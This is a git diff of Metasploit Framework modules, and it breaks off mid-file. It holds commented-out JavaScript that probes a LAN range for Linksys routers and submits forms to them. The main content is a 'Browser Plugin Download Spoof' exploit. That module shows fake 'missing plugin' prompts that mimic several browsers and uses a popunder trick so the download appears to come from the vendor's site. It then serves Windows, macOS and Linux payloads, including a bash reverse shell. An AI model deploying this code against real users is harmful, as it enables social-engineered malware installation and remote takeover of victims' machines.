Javascript code for "discovering" routers in a LAN range + # # @return '' if discovery is disabled + # def discovery_js + # range_str = datastore['DISCOVERRANGE'] + # return '' unless range_str.present? + # walker = Rex::Socket::RangeWalker.new(range_str) + # ips = [] + # walker.each { |ip| ips << ip} + # %Q| + # var routers = []; + # var endpoints = #{targets.map { |t| t['FORM_ENDPOINT'] }.to_json}; + # var ips = #{ips.to_json}; + # for (var ip in ips) { + # (function(){ + # #{# Put ourselves in a function so that we can preserve scope + # #{# For each IP in the range, attempt to detect router web interface signature + # var myip = ip; + # var cb = function() { + # while (routers.length > 0) { + # submitForm(routers[0][0]+endpoints[routers[0][1]-1]); + # routers.shift(); + # } + # } + # | + + # if datastore['Target'] == '#{TARGET_WRT}' or datastore['Target'] == '#{TARGET_AUTO}' + # # Run a check to see if a WRT* router exists + # %Q| + # var checkWrt = #{check_wrt}; + # #{ if datastore['ROUTERHTTP'] then "checkWrt('http', myip)" else '' nil } + # #{ if datastore['ROUTERHTTPS'] then "checkWrt('https', myip)" else '' nil } + # | + # else '' end + + # if datastore['Target'] == "#{TARGET_EA}" or datastore['Target'] == '#{TARGET_AUTO}' + # # Run a check to see if a EA* router exists + # %Q| + # var checkEa = #{check_ea}; + # #{ if datastore['ROUTERHTTP'] then "checkEa('http', myip)" else '' nil } + # #{ if datastore['ROUTERHTTPS'] then "checkEa('https', myip)" else '' nil } + # | + # else '' end + + # %Q| + # })(); #{# invoke the function we defined + # } + # | + # end + + # def check_wrt + # %Q| + # function(proto, myip) { + # var script = document.createElement('script'); + # script.type = 'text/javascript'; + # script.src = proto+'://'+myip+'/jslib.js'; + # script.onload = function(){ + # window.setTimeout(function(){ + # if ('isValidMASK' in window) { + # #{# Detected as a WRT120N router. + # routers.push([script.src.replace(/:.*$/, '')+'://'+myip, 1]); + # cb(); + # } + # }, 10); + # }; + # script.onerror = cb; + # document.body.appendChild(script); + # } + # | + # end + + # def check_ea + # %Q| + # function(proto, myip) { + # var script = document.createElement('script'); + # script.type = 'text/javascript'; + # script.src = proto+'://'+myip+'/jslib.js'; + # script.onload = function(){ + # window.setTimeout(function(){ + # if ('isValidMASK' in window) { + # #{# Detected as a WRT120N router. + # routers.push([script.src.replace(/:.*$/, '')+'://'+myip, 2]); + # cb(); + # } + # }, 10); + # }; + # script.onerror = cb; + # document.body.appendChild(script); + # } + # | + # end + + # # @return [String] URL for sending requests back to the module + # def base_url + # proto = (datastore["SSL"] ? "https" : "http") + # myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + # "#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}" + # end +end + diff --git a/modules/exploits/linux/http/linksys_wrt120n_firmware_upload.rb b/modules/exploits/linux/http/linksys_wrt120n_firmware_upload.rb new file mode 100644 index 0000000000000..e69de29bb2d1d diff --git a/modules/exploits/multi/browser/plugin_spoof_update.rb b/modules/exploits/multi/browser/plugin_spoof_update.rb new file mode 100644 index 0000000000000..c806e7e180c6b --- /dev/null +++ b/modules/exploits/multi/browser/plugin_spoof_update.rb @@ -0,0 +1,597 @@ +## +# This module can be used to "spoof" a download from another site. +## + +## Show "broken plugin" image. Clicking the plugin will navigate the user's browser +## to a legitimate URL from the plugin vendor. Simultaneously, a popunder window will +## be opened that waits for the vendor URL to load. Once the vendor page has loaded, +## the popunder navigates the parent frame to your payload. +# +## From the user's point of view, the plugin download looks legitimate. + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'open-uri' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Browser Plugin Download Spoof", + 'Description' => %q{ + This module serves a page that shows a "broken plugin" image. The user + is coerced into clicking on the image in order to download and update + the plugin. When the image is clicked, a popunder window is opened, and + the original window is navigated to the (legitimate) DOWNLOADURL. Once + the page loads, the popunder navigates the top window to the download served + by this module, and immediately closes itself. + + To a user, it will appear that the plugin vendor's (Flash, java) website is + serving them a plugin "update", and they will (hopefully) happily download + and execute our payload. + + Note: the page served by this exploit can be embedded into an iframe for a + more realistic-looking attack vector. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev ' ], + 'References' => [['URL', 'http://lcamtuf.coredump.cx/fldl/']], + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('PLUGINNAME', [true, 'The name of the plugin.', 'Flash']), + OptString.new('PLUGINURL', [true, 'The URL of the vendor\'s plugin download page.', + 'http://www.adobe.com/support/flashplayer/downloads.html']), + OptInt.new('LOADDELAY', [true, 'Seconds to wait before forcing the download.', 3]), + OptString.new('CLONEURL', [ false, + "If specified, displays the contents of the given URL instead of a Loading... message" + ]) + ], self.class) + end + + + def run + print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...") + exploit + end + + def on_request_uri(cli, request) + if request.uri =~ /(exe|bin|command|sh|zip|autorun|py|pl)$/ + print_status("Sending executable payload.") + mime = if request.headers['User-Agent'] + 'x-content/unix-software' + else + 'application/octet-stream' + end + send_response(cli, dropped_file_contents(cli, request.headers['User-Agent']), + 'Content-Type' => mime) + elsif request.uri =~ /swf$/ + print_status("Sending IE10 a flash .swf to navigate xdomain page.") + send_response(cli, swf_navigate_ie10, 'Content-Type' => 'application/x-shockwave-flash') + else + print_status("Sending HTML of target page.") + send_response_html(cli, generate_html(request.headers['User-Agent']), 'Content-Type' => 'text/html') + end + end + + # @return [String] the encoded executable for dropping onto the client's machine + def dropped_file_contents(cli, agent) + return if ((p=regenerate_payload(cli)) == nil) + opts = if target.present? then target.opts else {} end + + case agent + when /windows/i + opts.merge!(:code => p.encoded) + generate_payload_exe(opts) + when /linux/i + # Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts) + @linux_payload ||= linux_payload(p) + when /os x/i + @osx_payload ||= osx_payload(p) + end + end + + + def linux_payload(p) + # todo: this should kick out a .rpm or .deb file, not a shell script + header = "#!/bin/bash\n\n" + payload = framework.payloads.create('cmd/unix/reverse') + payload.datastore.merge! datastore + header + payload.generate_simple('Format' => 'raw') + end + + def osx_payload(p) + exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, target.opts) + exe_name = Rex::Text.rand_text_alpha(8) + app_name = "App.app" + info_plist = <<-EOS + + + + + CFBundleAllowMixedLocalizations + + CFBundleDevelopmentRegion + English + CFBundleExecutable + #{exe_name} + CFBundleIdentifier + com.#{exe_name}.app + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + #{exe_name} + CFBundlePackageType + APPL + CFBundleSignature + aplt + + + EOS + + zip = Rex::Zip::Archive.new + zip.add_file("#{app_name}/", '') + zip.add_file("#{app_name}/Contents/", '') + zip.add_file("#{app_name}/Contents/MacOS/", '') + zip.add_file("#{app_name}/Contents/Resources/", '') + zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe) + zip.add_file("#{app_name}/Contents/Info.plist", info_plist) + zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt') + zip.pack + end + + def popunder_js(agent) + %Q| + document.body.innerHTML="Loading..."; + var tt = document.getElementsByTagName("title"); + for (var x = 0; x < tt.length; x++) { tt[x].parentNode.removeChild(tt[x]); } + var t = document.createElement("title"); + document.head.appendChild(t); + t.innerHTML = "Loading..."; + var itval = setInterval(function() { + var done = function() { + clearInterval(itval); + var n = navigator.userAgent; + var chrome = (/chrome/i).test(n); + var safari = (/safari/).test(n) && !(/chrome/).test(n); + var ie10 = /MSIE 1/.test(navigator.userAgent); + var ie9 = /MSIE 9/.test(navigator.userAgent); + var flash = !!navigator.mimeTypes["application/x-shockwave-flash"]; + var timeout = #{datastore['LOADDELAY']}*1000; + if(chrome) timeout += 2000; + if(safari) timeout -= 2000; + setTimeout(function(){ + if (chrome) { + opener.history.go(-1); + window.setTimeout(function(){ + opener.location = "#{plugin_url}"; + window.setTimeout(function(){window.close();}, 300); + }, 1000) + } else if ((ie9 \|\| ie10) && flash) { + window.location = "#{swf_url(agent)}"; + } else { + opener.location = "#{exe_url(agent)}"; + window.setTimeout(function(){window.close();}, 500); + } + }, timeout); + }; + try { + if (!opener.checkSOP) { + done(); + } + } catch (e) { done(); } + }, 10); + |.gsub(/\s+/, ' ').gsub("'", "\\'") # some chars screw up the injection + end + + # provides an HTML interface that "spoofs" the missing plugin image for the user's browser + def generate_html(agent) + if datastore['CLONEURL'].present? + cloned_html(agent) + else + default_html(agent) + end + end + + def default_html(agent) + <<-EOS + + + + + + #{injected_script(agent)} + + + EOS + end + + def cloned_html(agent) + fetch_cloned_content + .sub(/(<\/body>|<\/html>|\Z)/imx, injected_script(agent)+'\1') + end + + def injected_script(agent) + <<-EOS + + EOS + end + + def js_libs + <<-EOS + var browser = (function() { + var n = navigator.userAgent.toLowerCase(); + var b = { + webkit: /webkit/.test(n), + mozilla: (/mozilla/.test(n)) && (!/(compatible|webkit)/.test(n)), + chrome: /chrome/.test(n), + msie: (/msie/.test(n)) && (!/opera/.test(n)), + firefox: /firefox/.test(n), + safari: (/safari/.test(n) && !(/chrome/.test(n))), + opera: /opera/.test(n) + }; + b.version = (b.safari) ? (n.match(/.+(?:ri)[\/: ]([\d.]+)/) || [])[1] : + (n.match(/.+(?:ox|me|ra|ie)[\/: ]([\d.]+)/) || [])[1]; + return b; + })(); + + + var spoof_plugins = (function(browser) { + browser = browser || {}; + var spoof_plugins = function(opts) { + var spoof_els = function(els) { + var spoof_count = 0; + var iterate = function(i) { + spoof_count++; + var el = els[i]; + if (el._skip) return; + el._skip = true; + + var div = document.createElement('div'); + var w = el.offsetWidth || 500, h = el.offsetHeight || 500; + if (h < 150) h = 150; + if (w < 150) w = 150; + var p = el.parentNode; + p.replaceChild(div, el); + div.style.display = 'inline-block'; + div.style.width = w+'px'; + div.style.height = h+'px'; + div.style.textAlign = 'center'; + div.style.background = '#f00'; + div.style.cursor = 'pointer'; + div.onclick = opts.onclick; + // browser-specific stuff + if (browser.safari) { + div.style.background = '#eee'; + var style = 'color: #777;font-family:Helvetica;font-size:11px;font-weight:600;text-decoration:none;'+ + 'line-height:'+div.offsetHeight+'px'; + var cstyle = 'color:#eee;background:#777;padding:2px 3px;border-radius:50%;font-size:9px;'+ + 'font-family:Verdana;text-align:center;font-weight:600;'; + div.innerHTML = 'Missing Plug-in. Click here to install '+ + ''; + } + else if (browser.firefox) { + var plugin = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAYAAAA6/NlyAAAAGXRFWHRTb2Z0d2FyZQBBZG'+ + '9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ'+ + '2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlI'+ + 'DUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3Ln'+ + 'czLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8'+ + 'vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9'+ + 'Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIE'+ + 'NTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDowRTI5RjE2Q0Y2MjkxMUUyQUY1RkFCNjExMTIyQTQ4RSIgeG1wTU06'+ + 'RG9jdW1lbnRJRD0ieG1wLmRpZDowRTI5RjE2REY2MjkxMUUyQUY1RkFCNjExMTIyQTQ4RSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN'+ + '0YW5jZUlEPSJ4bXAuaWlkOjBFMjlGMTZBRjYyOTExRTJBRjVGQUI2MTExMjJBNDhFIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjBFMjlGMT'+ + 'ZCRjYyOTExRTJBRjVGQUI2MTExMjJBNDhFIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZ'+ + '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'+ + 'K5CYII='; + div.style.borderRadius = div.style.mozBorderRadius = '25px'; + div.style.fontFamily = 'arial, sans-serif'; + div.style.backgroundImage = + 'url(data:image/gif;base64,'+ + 'R0lGODlhOQA5AJEAAGlpaWhoaGdnZ2pqaiH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b19PPy8fDv'+ + '7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2'+ + 'tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359'+ + 'fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVE'+ + 'Q0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwL'+ + 'CgkIBwYFBAMCAQAAIfkEAAAAAAAsAAAAADkAOQAAApicj6kr7Q+jXLQiifOznOkfdeIBls44miYq'+ + 'qiXbuSDMyR8F0IOt6RWf8VGAGKGHCDEqTIGX8oJMPknRzdRQtV6zp+uOK/B+uWJw2Gsug9Vk9Nrd'+ + '3r7l8WkanhWPq/pmns0HGKU3RxeINyiIRFhn1/hU6PiHuKhIxDhpmEh5aQmEeahZyfnpycORwxIJ'+ + '+ai06tpq9CobK2RWAAA7)'; + div.style.backgroundRepeat = 'repeat'; + div.style.boxShadow = div.style.mozBoxShadow = 'inset 0 0 8px rgba(0,0,0,.5)'; + var textShadow = 'text-shadow:1px 1px 2px rgba(0,0,0,.4);'; + var style1 = 'height:'+div.style.height+';width:'+div.style.width+';display:table-cell;'+ + 'vertical-align:middle;color:#fff;font-size:12px;'+textShadow; + var style2 = 'color:#fff;text-decoration:underline;line-height:1.5;'+textShadow; + div.innerHTML = '

'+ + 'A plugin is needed to display this content.'+ + '
Install plugin...
'; + } + else if (browser.ie) { + + } + else if (browser.chrome) { + var puzzlep = 'data:image/gif;base64,R0lGODlhRABDAMQAAMvLy9LS0piYmNXV1eHh4aqqqrKystzc3N7e3pCQkH19f'+ + 'YiIiJaWlpycnIWFhZOTk9fX19TU1J+fn9jY2IqKisPDw56enpSUlNra2o2NjaKioouLi6GhoZubm46Ojru7'+ + 'uyH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0'+ + 'M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZC'+ + 'Pjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT0'+ + '5NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQ'+ + 'wLCgkIBwYFBAMCAQAAIfkEAAAAAAAsAAAAAEQAQwAABf/gJ45kaZ5oqq6n0XleIs90LcN4rmd8329AIGVI3DAKKcY'+ + 'mdrkwntCodNqsWpuPrDZrm+Eyl9Mlk2AIBJ20es1ur8/wuFwgvWpljJJhU043LIASgoOEhICHgA2Ki4pub2cdZ1IPC'+ + 'UgjLwwdfxIcnZ6foKGFg4iJFowNbXMMD3kjMQINgqGdGhwatrSdo4aIqKmPcU8XGxWvD5qzoLi2zLqfvBKljG5yUMUj'+ + 'CRcdFpzLzOC4tbvAyYWlp9RswlAUxiJ9Ft/h9LkSGgb5BhoC3aTTqNbBieIuWyZ5nuop5CChAIADBAggAFAgFilpvha'+ + 'pYsegILyDnxTW41AgQMSTBA7/FLjgD+OhPxo30hnm8UMfbwlFguNQASXKCtv+vYwpcCCDCwve2cyEUyc9CxN8ngQq4Fwi'+ + 'osFmHk36imlOp8waQJRKoMKDqoK6DW1UVNIwriI8eK0FNiwAsgQMLOjQ60+6ahyRKpXL92vde1F96k0gy+VVtjKHNYH7gT'+ + 'BOumA5VPX5QYEHbgADZo0yeTBIzLY4ieRgocPYlAUUoE3ry5E1yYK7cgupQYKBAhxYORG2radEBHkVnJV0gYuHqhoiZWWO'+ + 'hTJhhAkbGJeIAUOEAOAnYECAnLz5CBUqAFgPIEIE8d0xCECW5vbR6qaTgeqwnSzy4+aRd8CABBZIIAYKJKCG/333PWDdNo'+ + '19wh9eJwVooYEGxgeBZ27dh8UWDg4G4WWa9eeTheZhqGJ8ASiQAWkfUkKDAyKa4400d+GFooAqDhhffAAkCGNzMnpB4ysX'+ + 'WDQIaxrkeCKKPRb4IwYTTNCiXB5uQQMMR8aVZGOkcOBkRDsegECUB0xJZZVBlmHFHV5wqRQYsbQkQQNNorTjmWiqueYEQX'+ + 'rwJpw3yDkCnaBJI0EHJQEIJZppTlnlpIEOWmShHnT5QQZngRaILHeVCamfk056ZROF1vCFAnN2ClCo/5HZp5qlljqAiw9cc'+ + 'AsHDSRARqE8sHqoq4h0wEBPyAWQ3l2z/lhrlRBAMEBsGZQ0AP8EFGVAQQJfZCCsCJyioc4DxlUgwAIbdGBAShnSWmu00Q4wQ'+ + 'AD4ADCBvNIWsEAGMPTw7aYJiFuOsQXkQ4EDHjzgwQIfSOnuu/BKe+2ZA7jnHrYMIOyBv0rxkYkbYziwQZJpMJDABAdKCjG88'+ + 'rZs8cvvdeCiD/96DIdAZqChRgINk1pqxBK3LC/M7gVwgMwb/FCzNjlHorPO9alxgQaRxvdsxEK7HEHFL4N3gAAKJM3DBv9SkH'+ + 'DOkNSXdhwXFFD1n5MCnTXXBxhdMXjgRQB20kH8u8DZc6DBT5JxJBCA1SsHnbXFDCRYAQR4Y/DBAiJn0LdSf7cyB3/RalCGJBak'+ + '+ez/BFjPvbV7FSiggAMPAEAlBhV4oMC+lm9Agd9koH3GAwUMcOYEDSzArQARwA1t6Yu/3JnZQCgo++p8C4H753HwjvKAAw'+ + 'CgXvFXIy800UHy4cEGDjiwOrpj23475rnLUQkEb1dpPLziKT400cqGDazY6RPxrwNkcAIU5tOkt80vWhNAzwcAcK37wSwARVPA'+ + 'tjDlAyFQYAH/44MAnzAfMVWte5DjgOpGaIAEcs1ieQtAkP7GrX79QH0XzCDTSCOACkQqcRGQwOpikADyGQACD8QbeMqXgwrCcA'+ + 'EYVIrIZhgFnh0AhNJKnfA+tAEJMLBoQsRbAgDYrf5dEIkybMVRoOCB/4atrIEGwBWRKMGfeUEwi+BpgItc+MIvglGJfMhVE8j4ASp'+ + 'B4HhBi0BstLEFD1jxO3DEWxr5tbE62jGJI3CA2fRoBQ+UkHTeQ49nuHADAyQyi6lbwguPiERIikCSCbvCBSwJyLnN61w1MAAWP5k/'+ + 'CoySCKW8YyRZqEpLvidei5NXABwkg2q9kZbgWeEtH6nLU7IQRBdIgBUR0B1oZS2BGkiQrwxQNyG6p2UqBEBnaFe7IeSylP/bVwJARA'+ + 'nefWBZ60Gh9vSFsB42CZHhNMZveiOABMyunOY8ZzM/4AB1rnOdWsjUPzMhgAI4lB8YBGAxM2ABhzrUAgIg2whHuAAKWOxQoEgsaDp'+ + '/VQMZaSuk5hth+WzJw42ldKPlK19HhxAEXIK0fCPlYRe6oIOeNjIIQA1C7Uh5U5wqEV063SlPe+qDpg61pgEFKUqNusslKHVLLSxiI5'+ + 'savaASgZkCjSlVnclSGLQwVT7tIldrasGvSrWUYh1rZSTJyLRqlV9OfWpbcQnWc8ZVrNgQQQEKWlef4jWvlnvqV9361lz+VawFUMoHN'+ + 'tBRxFrWiHu1aWP9+tiCSlYElLPlZdMX1Mxu9q2dLd87T1CAB2z0tbCNrWxnS9vXVis9KkiPbnfL29769rfADS5uWUDc4hr3uCIIAQA7'; + div.style.background = '#bbb'; + div.style.fontFamily = 'arial, sans-serif'; + div.style.border = '1px solid #000'; + div.style.boxSizing = 'border-box'; + var imgs = 'margin-bottom:5px;display:inline;text-align:center;' + var stylec1 = 'height:'+div.style.height+';width:'+div.style.width+';display:table-cell;'+ + 'vertical-align:middle;color:#000;font-size:12px;'; + var stylec2 = 'color:#000;text-decoration:underline;line-height:1.5;'; + if (parseInt(browser.version) < 6) { + stylec1 += 'background:#fbee97;'; + puzzlep = 'data:image/gif;base64,R0lGODlhIAAgAMQAAK6riufr8UNdlkpknC5DeZynwCc+djJMiNbc5+Lm7k5adNzh6/r7/CtGhHuIpSQ3aFN'+ + 'somx3kfP1+D1Thj5Xkb/G1PDy9iVAgCExWRonR+zu9Gt+p/f4+vzslzJBYzdSjSH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b19PPy'+ + '8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqW'+ + 'ko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWF'+ + 'dWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCg'+ + 'kIBwYFBAMCAQAAIfkEAAAAAAAsAAAAACAAIAAABf9gBxgGYZ5oepIsSQBiOVF0bdvT9O38d/wvmWBALBqPA4FSefMZPgKIdErdODZD5HJ'+ + 'JORAoA6q4wGBwKmDtlvL5hsXTcpnjNm4FtDYYLh3IORweE1lEa3lufBADZIARgoSGh3tSDoqFDoAJHoIUQxsDnXg1em9kcmaAHBIJFRau'+ + 'GhoRH01ek6ZzqRISrq8aARAHM3k+iIu4gLq7vbABm7NsO7Vhxrm6vBawvgEBGATPPF4TRQXVysvb2woeBz0HDQaDROTJ5tnoAQkJ6gUVE'+ + 'A0/76AQwVQAQ4Rl2vDlY4VggcMJBBoEzEJhwiYPBbAx27Ywn8OPDh5EfJIFT44JEQLsJOyY4ONHBCENXDBwYIiADQUg5CiQUKHHBfoiOKz'+ + 'g4YFMmqFaJcCJjmXLjxkyKHDgAcODCzMPJN3YtKNLBAqsPhhroEHWThR4dkUQIYOHCi4XgMVQAusFs0jxFOiawEEGqx4cIhgM1qjEw'+ + '1mfOeC4MGwJAYIJR6B72OyFBw2eRXCKwMMXwqAnl5VoF/MsKF4dKiAAAfTgCg7o3rV7OXM0Agpy6zZKwEGE3B6iWpVJuzY4L2OTl3g3'+ + 'FoNYo8VnimQXzR2KygRaRLdr4Cr1H+DdAaxseTtWAyP+hQdPvrL58zAAELjbvvz7mS1ghAAAOw=='; + } + div.innerHTML = '

'+ + 'No plug-in available to display this content.'+ + '
Install plugin...
'; + } + }; + + for (var i = 0; i < els.length; i++) { iterate(i); } + return spoof_count; + }; + + var tryspoof=function() { + var objects = top.document.getElementsByTagName('object'); + var embeds = top.document.getElementsByTagName('embed'); + var spoof_count = spoof_els(objects) + spoof_els(embeds); + if (spoof_count > 0) { + if (browser.firefox) { + // on firefox, let's spoof the "Install Plugin" slide-down dialog + var pp = 'data:image/gif;base64,R0lGODlhEAAPAMQfAFFEAExCAG1hFkk+AHNmElVHAEc8AEQ7AWBQAFxNAGNWAExDAU1EAGdZAI96AE'+ + 'E3AF5QAD41AEc9AGdWAGZWAC8oAv/98WFRAF1OAFZIAGlYAFlLAEs/AExAAP///////yH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b'+ + '19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuq'+ + 'qainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1'+ + 'cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA'+ + '8ODQwLCgkIBwYFBAMCAQAAIfkEAQAAHwAsAAAAABAADwAABYGgpVRkpVhiaVrfESzMcnwtzASzJRA8IaC73q8RMUiMD9LDaDA8iJIBZ'+ + 